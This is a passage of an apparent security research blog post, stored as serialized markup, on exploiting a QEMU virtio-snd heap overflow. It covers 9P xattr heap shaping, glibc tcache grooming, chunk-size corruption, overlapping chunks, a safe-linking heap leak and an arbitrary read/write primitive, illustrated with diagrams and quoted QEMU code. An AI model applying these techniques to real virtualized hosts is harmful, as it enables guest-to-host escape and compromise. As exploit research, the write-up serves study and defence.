",{"type":23,"tag":37,"props":128270,"children":128272},{"className":128271},[],[128273],{"type":28,"value":127623},{"type":28,"value":1361},{"type":23,"tag":37,"props":128276,"children":128278},{"className":128277},[],[128279],{"type":28,"value":127630},{"type":28,"value":128281},", not just the ",{"type":23,"tag":37,"props":128283,"children":128285},{"className":128284},[],[128286],{"type":28,"value":127630},{"type":28,"value":128288}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":24,"props":128290,"children":128291},{},[128292,128293,128298],{"type":28,"value":16601},{"type":23,"tag":37,"props":128294,"children":128296},{"className":128295},[],[128297],{"type":28,"value":127630},{"type":28,"value":128299}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":24,"props":128301,"children":128302},{},[128303,128305,128310,128312,128318,128320,128326,128328,128334],{"type":28,"value":128304},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":37,"props":128306,"children":128308},{"className":128307},[],[128309],{"type":28,"value":127630},{"type":28,"value":128311}," buffer through a ",{"type":23,"tag":37,"props":128313,"children":128315},{"className":128314},[],[128316],{"type":28,"value":128317},"P9_TWRITE",{"type":28,"value":128319}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":37,"props":128321,"children":128323},{"className":128322},[],[128324],{"type":28,"value":128325},"P9_TREAD",{"type":28,"value":128327},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":37,"props":128329,"children":128331},{"className":128330},[],[128332],{"type":28,"value":128333},"P9_TCLUNK",{"type":28,"value":128335}," request on that same FID.",{"type":23,"tag":24,"props":128337,"children":128338},{},[128339,128341,128347],{"type":28,"value":128340},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":37,"props":128342,"children":128344},{"className":128343},[],[128345],{"type":28,"value":128346},"65536",{"type":28,"value":128348}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":546,"props":128350,"children":128352},{"id":128351},"setting-the-heap-layout",[128353],{"type":28,"value":128354},"Setting the Heap Layout",{"type":23,"tag":24,"props":128356,"children":128357},{},[128358,128360,128365],{"type":28,"value":128359},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":37,"props":128361,"children":128363},{"className":128362},[],[128364],{"type":28,"value":127630},{"type":28,"value":128366}," allocations, like this:",{"type":23,"tag":31,"props":128368,"children":128370},{"code":128369},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128371],{"type":23,"tag":37,"props":128372,"children":128373},{"__ignoreMap":7},[128374],{"type":28,"value":128369},{"type":23,"tag":24,"props":128376,"children":128377},{},[128378,128380,128385,128387,128392,128394,128399],{"type":28,"value":128379},"This lets us later create holes by freeing every other ",{"type":23,"tag":37,"props":128381,"children":128383},{"className":128382},[],[128384],{"type":28,"value":127630},{"type":28,"value":128386}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":37,"props":128388,"children":128390},{"className":128389},[],[128391],{"type":28,"value":123978},{"type":28,"value":128393}," field of the next live ",{"type":23,"tag":37,"props":128395,"children":128397},{"className":128396},[],[128398],{"type":28,"value":127630},{"type":28,"value":128400}," chunk.",{"type":23,"tag":24,"props":128402,"children":128403},{},[128404],{"type":28,"value":128405},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":24,"props":128407,"children":128408},{},[128409,128411,128416,128418,128423,128425,128430,128432,128437],{"type":28,"value":128410},"As mentioned earlier, ",{"type":23,"tag":37,"props":128412,"children":128414},{"className":128413},[],[128415],{"type":28,"value":127667},{"type":28,"value":128417}," always allocates two chunks: one for ",{"type":23,"tag":37,"props":128419,"children":128421},{"className":128420},[],[128422],{"type":28,"value":127623},{"type":28,"value":128424}," and one for ",{"type":23,"tag":37,"props":128426,"children":128428},{"className":128427},[],[128429],{"type":28,"value":127630},{"type":28,"value":128431},". We want to avoid having ",{"type":23,"tag":37,"props":128433,"children":128435},{"className":128434},[],[128436],{"type":28,"value":127623},{"type":28,"value":128438}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":5436,"props":128440,"children":128441},{},[128442,128454],{"type":23,"tag":421,"props":128443,"children":128444},{},[128445,128447,128452],{"type":28,"value":128446},"Make ",{"type":23,"tag":37,"props":128448,"children":128450},{"className":128449},[],[128451],{"type":28,"value":127623},{"type":28,"value":128453}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":421,"props":128455,"children":128456},{},[128457,128459,128464,128466,128471,128473,128478],{"type":28,"value":128458},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":37,"props":128460,"children":128462},{"className":128461},[],[128463],{"type":28,"value":127623},{"type":28,"value":128465},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":37,"props":128467,"children":128469},{"className":128468},[],[128470],{"type":28,"value":127623},{"type":28,"value":128472}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":37,"props":128474,"children":128476},{"className":128475},[],[128477],{"type":28,"value":127630},{"type":28,"value":128479}," chunks.",{"type":23,"tag":18881,"props":128481,"children":128483},{"id":128482},"separating-name-allocations",[128484],{"type":28,"value":128485},"Separating .name allocations",{"type":23,"tag":24,"props":128487,"children":128488},{},[128489,128491,128496,128498,128503],{"type":28,"value":128490},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":37,"props":128492,"children":128494},{"className":128493},[],[128495],{"type":28,"value":127667},{"type":28,"value":128497}," for N ",{"type":23,"tag":37,"props":128499,"children":128501},{"className":128500},[],[128502],{"type":28,"value":127623},{"type":28,"value":128504},"-sized allocations and then freeing them.",{"type":23,"tag":24,"props":128506,"children":128507},{},[128508,128510,128515,128516,128521,128522,128527,128529,128534,128536,128541],{"type":28,"value":128509},"At this point, we already know that ",{"type":23,"tag":37,"props":128511,"children":128513},{"className":128512},[],[128514],{"type":28,"value":127667},{"type":28,"value":128417},{"type":23,"tag":37,"props":128517,"children":128519},{"className":128518},[],[128520],{"type":28,"value":127623},{"type":28,"value":128424},{"type":23,"tag":37,"props":128523,"children":128525},{"className":128524},[],[128526],{"type":28,"value":127630},{"type":28,"value":128528},". If we simply call it with ",{"type":23,"tag":37,"props":128530,"children":128532},{"className":128531},[],[128533],{"type":28,"value":127630},{"type":28,"value":128535}," sized the same as ",{"type":23,"tag":37,"props":128537,"children":128539},{"className":128538},[],[128540],{"type":28,"value":127623},{"type":28,"value":128542},", we get a layout like this:",{"type":23,"tag":31,"props":128544,"children":128546},{"code":128545},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128547],{"type":23,"tag":37,"props":128548,"children":128549},{"__ignoreMap":7},[128550],{"type":28,"value":128545},{"type":23,"tag":24,"props":128552,"children":128553},{},[128554,128556,128561,128563,128569,128571,128577,128579,128584,128586,128591,128593,128598],{"type":28,"value":128555},"With that heap state, issuing a ",{"type":23,"tag":37,"props":128557,"children":128559},{"className":128558},[],[128560],{"type":28,"value":128333},{"type":28,"value":128562}," request would first free ",{"type":23,"tag":37,"props":128564,"children":128566},{"className":128565},[],[128567],{"type":28,"value":128568},".name A",{"type":28,"value":128570}," and then ",{"type":23,"tag":37,"props":128572,"children":128574},{"className":128573},[],[128575],{"type":28,"value":128576},".value A",{"type":28,"value":128578},". When ",{"type":23,"tag":37,"props":128580,"children":128582},{"className":128581},[],[128583],{"type":28,"value":128576},{"type":28,"value":128585}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":37,"props":128587,"children":128589},{"className":128588},[],[128590],{"type":28,"value":128568},{"type":28,"value":128592}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":37,"props":128594,"children":128596},{"className":128595},[],[128597],{"type":28,"value":127623},{"type":28,"value":128599},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":24,"props":128601,"children":128602},{},[128603],{"type":28,"value":128604},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":24,"props":128606,"children":128607},{},[128608,128610,128615,128617,128622,128624,128629,128631,128637,128639,128644,128646,128652],{"type":28,"value":128609},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":37,"props":128611,"children":128613},{"className":128612},[],[128614],{"type":28,"value":127623},{"type":28,"value":128616}," allocation remains fixed at size ",{"type":23,"tag":37,"props":128618,"children":128620},{"className":128619},[],[128621],{"type":28,"value":104785},{"type":28,"value":128623},". We first allocate 16 xattrs whose ",{"type":23,"tag":37,"props":128625,"children":128627},{"className":128626},[],[128628],{"type":28,"value":127630},{"type":28,"value":128630}," size is ",{"type":23,"tag":37,"props":128632,"children":128634},{"className":128633},[],[128635],{"type":28,"value":128636},"0x30",{"type":28,"value":128638},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":37,"props":128640,"children":128642},{"className":128641},[],[128643],{"type":28,"value":127630},{"type":28,"value":128645}," size ",{"type":23,"tag":37,"props":128647,"children":128649},{"className":128648},[],[128650],{"type":28,"value":128651},"0x40",{"type":28,"value":128653},", and continue in the same way for each tcache size class.",{"type":23,"tag":24,"props":128655,"children":128656},{},[128657],{"type":28,"value":128658},"This yields the following layout:",{"type":23,"tag":31,"props":128660,"children":128662},{"code":128661},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[128663],{"type":23,"tag":37,"props":128664,"children":128665},{"__ignoreMap":7},[128666],{"type":28,"value":128661},{"type":23,"tag":24,"props":128668,"children":128669},{},[128670,128672,128677,128679,128684,128686,128691,128693,128698,128700,128705,128707,128712,128713,128718,128720,128725,128727,128732,128734,128739,128741,128746,128748,128753],{"type":28,"value":128671},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":37,"props":128673,"children":128675},{"className":128674},[],[128676],{"type":28,"value":127623},{"type":28,"value":128678}," chunks end up in the ",{"type":23,"tag":37,"props":128680,"children":128682},{"className":128681},[],[128683],{"type":28,"value":104785},{"type":28,"value":128685}," tcache bin, along with the interleaved ",{"type":23,"tag":37,"props":128687,"children":128689},{"className":128688},[],[128690],{"type":28,"value":127630},{"type":28,"value":128692}," chunks of size ",{"type":23,"tag":37,"props":128694,"children":128696},{"className":128695},[],[128697],{"type":28,"value":128636},{"type":28,"value":128699},". The next 16 ",{"type":23,"tag":37,"props":128701,"children":128703},{"className":128702},[],[128704],{"type":28,"value":127623},{"type":28,"value":128706}," chunks are interleaved with ",{"type":23,"tag":37,"props":128708,"children":128710},{"className":128709},[],[128711],{"type":28,"value":127630},{"type":28,"value":128692},{"type":23,"tag":37,"props":128714,"children":128716},{"className":128715},[],[128717],{"type":28,"value":128651},{"type":28,"value":128719},"; when freed, those ",{"type":23,"tag":37,"props":128721,"children":128723},{"className":128722},[],[128724],{"type":28,"value":127630},{"type":28,"value":128726}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":37,"props":128728,"children":128730},{"className":128729},[],[128731],{"type":28,"value":127623},{"type":28,"value":128733}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":37,"props":128735,"children":128737},{"className":128736},[],[128738],{"type":28,"value":127623},{"type":28,"value":128740},"-sized chunks that will later be served to the ",{"type":23,"tag":37,"props":128742,"children":128744},{"className":128743},[],[128745],{"type":28,"value":127623},{"type":28,"value":128747}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":37,"props":128749,"children":128751},{"className":128750},[],[128752],{"type":28,"value":127630},{"type":28,"value":128479},{"type":23,"tag":546,"props":128755,"children":128757},{"id":128756},"corrupting-the-size",[128758],{"type":28,"value":128759},"Corrupting the Size",{"type":23,"tag":24,"props":128761,"children":128762},{},[128763,128765,128770,128772,128777,128779,128784,128786,128791,128792,128797],{"type":28,"value":128764},"The input format is guest-controlled, and we choose ",{"type":23,"tag":37,"props":128766,"children":128768},{"className":128767},[],[128769],{"type":28,"value":3419},{"type":28,"value":128771}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":37,"props":128773,"children":128775},{"className":128774},[],[128776],{"type":28,"value":3419},{"type":28,"value":128778}," is centered at ",{"type":23,"tag":37,"props":128780,"children":128782},{"className":128781},[],[128783],{"type":28,"value":29436},{"type":28,"value":128785}," (rather than ",{"type":23,"tag":37,"props":128787,"children":128789},{"className":128788},[],[128790],{"type":28,"value":125885},{"type":28,"value":125872},{"type":23,"tag":37,"props":128793,"children":128795},{"className":128794},[],[128796],{"type":28,"value":125863},{"type":28,"value":128798},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":24,"props":128800,"children":128801},{},[128802,128804,128809],{"type":28,"value":128803},"As we already concluded, ",{"type":23,"tag":37,"props":128805,"children":128807},{"className":128806},[],[128808],{"type":28,"value":125328},{"type":28,"value":128810}," is called with the amount:",{"type":23,"tag":31,"props":128812,"children":128814},{"code":128813},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[128815],{"type":23,"tag":37,"props":128816,"children":128817},{"__ignoreMap":7},[128818],{"type":28,"value":128813},{"type":23,"tag":24,"props":128820,"children":128821},{},[128822,128824,128829,128831,128836],{"type":28,"value":128823},"And as mentioned earlier, ",{"type":23,"tag":37,"props":128825,"children":128827},{"className":128826},[],[128828],{"type":28,"value":125359},{"type":28,"value":128830}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":37,"props":128832,"children":128834},{"className":128833},[],[128835],{"type":28,"value":123978},{"type":28,"value":58322},{"type":23,"tag":24,"props":128838,"children":128839},{},[128840,128842,128847,128849,128854],{"type":28,"value":128841},"With the desired heap layout of repeated ",{"type":23,"tag":37,"props":128843,"children":128845},{"className":128844},[],[128846],{"type":28,"value":127532},{"type":28,"value":128848},"-sized ",{"type":23,"tag":37,"props":128850,"children":128852},{"className":128851},[],[128853],{"type":28,"value":127630},{"type":28,"value":128855}," chunks in place, we can then free every other one:",{"type":23,"tag":31,"props":128857,"children":128859},{"code":128858},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[128860],{"type":23,"tag":37,"props":128861,"children":128862},{"__ignoreMap":7},[128863],{"type":28,"value":128858},{"type":23,"tag":24,"props":128865,"children":128866},{},[128867,128869,128874],{"type":28,"value":128868},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":37,"props":128870,"children":128872},{"className":128871},[],[128873],{"type":28,"value":127630},{"type":28,"value":128875}," chunk directly next to it:",{"type":23,"tag":31,"props":128877,"children":128879},{"code":128878},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[128880],{"type":23,"tag":37,"props":128881,"children":128882},{"__ignoreMap":7},[128883],{"type":28,"value":128878},{"type":23,"tag":24,"props":128885,"children":128886},{},[128887,128889,128894,128896,128901],{"type":28,"value":128888},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":37,"props":128890,"children":128892},{"className":128891},[],[128893],{"type":28,"value":127532},{"type":28,"value":128895},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":37,"props":128897,"children":128899},{"className":128898},[],[128900],{"type":28,"value":127630},{"type":28,"value":128902}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":31,"props":128904,"children":128906},{"code":128905},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128907],{"type":23,"tag":37,"props":128908,"children":128909},{"__ignoreMap":7},[128910],{"type":28,"value":128905},{"type":23,"tag":24,"props":128912,"children":128913},{},[128914,128916,128921],{"type":28,"value":128915},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":37,"props":128917,"children":128919},{"className":128918},[],[128920],{"type":28,"value":127547},{"type":28,"value":1474},{"type":23,"tag":31,"props":128923,"children":128925},{"code":128924},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[128926],{"type":23,"tag":37,"props":128927,"children":128928},{"__ignoreMap":7},[128929],{"type":28,"value":128924},{"type":23,"tag":24,"props":128931,"children":128932},{},[128933,128935,128940],{"type":28,"value":128934},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":37,"props":128936,"children":128938},{"className":128937},[],[128939],{"type":28,"value":127547},{"type":28,"value":20729},{"type":23,"tag":31,"props":128942,"children":128944},{"code":128943},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[128945],{"type":23,"tag":37,"props":128946,"children":128947},{"__ignoreMap":7},[128948],{"type":28,"value":128943},{"type":23,"tag":24,"props":128950,"children":128951},{},[128952,128954,128960],{"type":28,"value":128953},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":37,"props":128955,"children":128957},{"className":128956},[],[128958],{"type":28,"value":128959},"0x400",{"type":28,"value":128961}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":31,"props":128963,"children":128965},{"code":128964},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128966],{"type":23,"tag":37,"props":128967,"children":128968},{"__ignoreMap":7},[128969],{"type":28,"value":128964},{"type":23,"tag":546,"props":128971,"children":128973},{"id":128972},"leaking-a-heap-address",[128974],{"type":28,"value":128975},"Leaking a Heap Address",{"type":23,"tag":24,"props":128977,"children":128978},{},[128979],{"type":28,"value":128980},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":24,"props":128982,"children":128983},{},[128984,128986,128992],{"type":28,"value":128985},"To do this, we abuse the forward (",{"type":23,"tag":37,"props":128987,"children":128989},{"className":128988},[],[128990],{"type":28,"value":128991},"fd",{"type":28,"value":128993},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":31,"props":128995,"children":128997},{"code":128996},"fd = next ^ (curr >> 12)\n",[128998],{"type":23,"tag":37,"props":128999,"children":129000},{"__ignoreMap":7},[129001],{"type":28,"value":128996},{"type":23,"tag":24,"props":129003,"children":129004},{},[129005,129007,129012,129013,129018],{"type":28,"value":129006},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":37,"props":129008,"children":129010},{"className":129009},[],[129011],{"type":28,"value":57561},{"type":28,"value":5501},{"type":23,"tag":37,"props":129014,"children":129016},{"className":129015},[],[129017],{"type":28,"value":54491},{"type":28,"value":129019}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":31,"props":129021,"children":129023},{"code":129022},"fd = 0 ^ (curr >> 12)\n",[129024],{"type":23,"tag":37,"props":129025,"children":129026},{"__ignoreMap":7},[129027],{"type":28,"value":129022},{"type":23,"tag":24,"props":129029,"children":129030},{},[129031,129033,129038],{"type":28,"value":129032},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":37,"props":129034,"children":129036},{"className":129035},[],[129037],{"type":28,"value":128991},{"type":28,"value":129039}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":24,"props":129041,"children":129042},{},[129043],{"type":28,"value":129044},"In the overlap we achieved earlier:",{"type":23,"tag":31,"props":129046,"children":129048},{"code":129047},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[129049],{"type":23,"tag":37,"props":129050,"children":129051},{"__ignoreMap":7},[129052],{"type":28,"value":129047},{"type":23,"tag":24,"props":129054,"children":129055},{},[129056,129058,129064,129066,129072,129074,129080,129082,129087],{"type":28,"value":129057},"We first free ",{"type":23,"tag":37,"props":129059,"children":129061},{"className":129060},[],[129062],{"type":28,"value":129063},".value C",{"type":28,"value":129065}," into tcache and read its contents through the oversized ",{"type":23,"tag":37,"props":129067,"children":129069},{"className":129068},[],[129070],{"type":28,"value":129071},".value Y",{"type":28,"value":129073},". This gives us ",{"type":23,"tag":37,"props":129075,"children":129077},{"className":129076},[],[129078],{"type":28,"value":129079},".value C >> 12",{"type":28,"value":129081},". That is not yet the exact address of ",{"type":23,"tag":37,"props":129083,"children":129085},{"className":129084},[],[129086],{"type":28,"value":129063},{"type":28,"value":129088},", since the lower 12 bits are lost.",{"type":23,"tag":24,"props":129090,"children":129091},{},[129092,129094,129099,129101,129106,129108,129113,129115,129120],{"type":28,"value":129093},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":37,"props":129095,"children":129097},{"className":129096},[],[129098],{"type":28,"value":129063},{"type":28,"value":129100},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":37,"props":129102,"children":129104},{"className":129103},[],[129105],{"type":28,"value":129063},{"type":28,"value":129107}," again. This time, ",{"type":23,"tag":37,"props":129109,"children":129111},{"className":129110},[],[129112],{"type":28,"value":57561},{"type":28,"value":129114}," is no longer ",{"type":23,"tag":37,"props":129116,"children":129118},{"className":129117},[],[129119],{"type":28,"value":54491},{"type":28,"value":129121},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":31,"props":129123,"children":129124},{"code":128996},[129125],{"type":23,"tag":37,"props":129126,"children":129127},{"__ignoreMap":7},[129128],{"type":28,"value":128996},{"type":23,"tag":24,"props":129130,"children":129131},{},[129132,129134,129140,129142,129147,129149,129154,129156,129161],{"type":28,"value":129133},"Since we already know ",{"type":23,"tag":37,"props":129135,"children":129137},{"className":129136},[],[129138],{"type":28,"value":129139},"curr >> 12",{"type":28,"value":129141}," from the first leak, we can read the new ",{"type":23,"tag":37,"props":129143,"children":129145},{"className":129144},[],[129146],{"type":28,"value":128991},{"type":28,"value":129148}," value from ",{"type":23,"tag":37,"props":129150,"children":129152},{"className":129151},[],[129153],{"type":28,"value":129063},{"type":28,"value":129155}," and recover the exact address of ",{"type":23,"tag":37,"props":129157,"children":129159},{"className":129158},[],[129160],{"type":28,"value":57561},{"type":28,"value":129162}," by reversing the XOR:",{"type":23,"tag":31,"props":129164,"children":129166},{"code":129165},"next = fd ^ (curr >> 12)\n",[129167],{"type":23,"tag":37,"props":129168,"children":129169},{"__ignoreMap":7},[129170],{"type":28,"value":129165},{"type":23,"tag":24,"props":129172,"children":129173},{},[129174],{"type":28,"value":129175},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":546,"props":129177,"children":129179},{"id":129178},"arbitrary-read-and-write",[129180],{"type":28,"value":129181},"Arbitrary Read and Write",{"type":23,"tag":24,"props":129183,"children":129184},{},[129185,129187,129192],{"type":28,"value":129186},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":37,"props":129188,"children":129190},{"className":129189},[],[129191],{"type":28,"value":129063},{"type":28,"value":129193}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":24,"props":129195,"children":129196},{},[129197,129199,129204],{"type":28,"value":129198},"Recall ",{"type":23,"tag":37,"props":129200,"children":129202},{"className":129201},[],[129203],{"type":28,"value":127667},{"type":28,"value":1474},{"type":23,"tag":31,"props":129206,"children":129208},{"code":129207,"language":3146,"meta":7,"className":16503,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[129209],{"type":23,"tag":37,"props":129210,"children":129211},{"__ignoreMap":7},[129212,129251,129258,129269,129284,129299,129306,129313,129320,129342,129349,129356,129363,129371,129388,129427,129470,129477],{"type":23,"tag":41,"props":129213,"children":129214},{"class":43,"line":44},[129215,129219,129223,129227,129231,129235,129239,129243,129247],{"type":23,"tag":41,"props":129216,"children":129217},{"style":64},[129218],{"type":28,"value":51039},{"type":23,"tag":41,"props":129220,"children":129221},{"style":64},[129222],{"type":28,"value":51044},{"type":23,"tag":41,"props":129224,"children":129225},{"style":70},[129226],{"type":28,"value":127662},{"type":23,"tag":41,"props":129228,"children":129229},{"style":114},[129230],{"type":28,"value":127667},{"type":23,"tag":41,"props":129232,"children":129233},{"style":70},[129234],{"type":28,"value":1737},{"type":23,"tag":41,"props":129236,"children":129237},{"style":64},[129238],{"type":28,"value":51622},{"type":23,"tag":41,"props":129240,"children":129241},{"style":170},[129242],{"type":28,"value":9814},{"type":23,"tag":41,"props":129244,"children":129245},{"style":858},[129246],{"type":28,"value":127684},{"type":23,"tag":41,"props":129248,"children":129249},{"style":70},[129250],{"type":28,"value":1969},{"type":23,"tag":41,"props":129252,"children":129253},{"class":43,"line":54},[129254],{"type":23,"tag":41,"props":129255,"children":129256},{"style":70},[129257],{"type":28,"value":1559},{"type":23,"tag":41,"props":129259,"children":129260},{"class":43,"line":76},[129261,129265],{"type":23,"tag":41,"props":129262,"children":129263},{"style":64},[129264],{"type":28,"value":55608},{"type":23,"tag":41,"props":129266,"children":129267},{"style":70},[129268],{"type":28,"value":124320},{"type":23,"tag":41,"props":129270,"children":129271},{"class":43,"line":85},[129272,129276,129280],{"type":23,"tag":41,"props":129273,"children":129274},{"style":70},[129275],{"type":28,"value":127809},{"type":23,"tag":41,"props":129277,"children":129278},{"style":170},[129279],{"type":28,"value":377},{"type":23,"tag":41,"props":129281,"children":129282},{"style":70},[129283],{"type":28,"value":127818},{"type":23,"tag":41,"props":129285,"children":129286},{"class":43,"line":105},[129287,129291,129295],{"type":23,"tag":41,"props":129288,"children":129289},{"style":70},[129290],{"type":28,"value":127809},{"type":23,"tag":41,"props":129292,"children":129293},{"style":170},[129294],{"type":28,"value":377},{"type":23,"tag":41,"props":129296,"children":129297},{"style":70},[129298],{"type":28,"value":127834},{"type":23,"tag":41,"props":129300,"children":129301},{"class":43,"line":155},[129302],{"type":23,"tag":41,"props":129303,"children":129304},{"emptyLinePlaceholder":18},[129305],{"type":28,"value":82},{"type":23,"tag":41,"props":129307,"children":129308},{"class":43,"line":186},[129309],{"type":23,"tag":41,"props":129310,"children":129311},{"style":70},[129312],{"type":28,"value":104519},{"type":23,"tag":41,"props":129314,"children":129315},{"class":43,"line":195},[129316],{"type":23,"tag":41,"props":129317,"children":129318},{"emptyLinePlaceholder":18},[129319],{"type":28,"value":82},{"type":23,"tag":41,"props":129321,"children":129322},{"class":43,"line":905},[129323,129328,129332,129337],{"type":23,"tag":41,"props":129324,"children":129325},{"style":70},[129326],{"type":28,"value":129327},"    file_fidp ",{"type":23,"tag":41,"props":129329,"children":129330},{"style":170},[129331],{"type":28,"value":2381},{"type":23,"tag":41,"props":129333,"children":129334},{"style":114},[129335],{"type":28,"value":129336}," 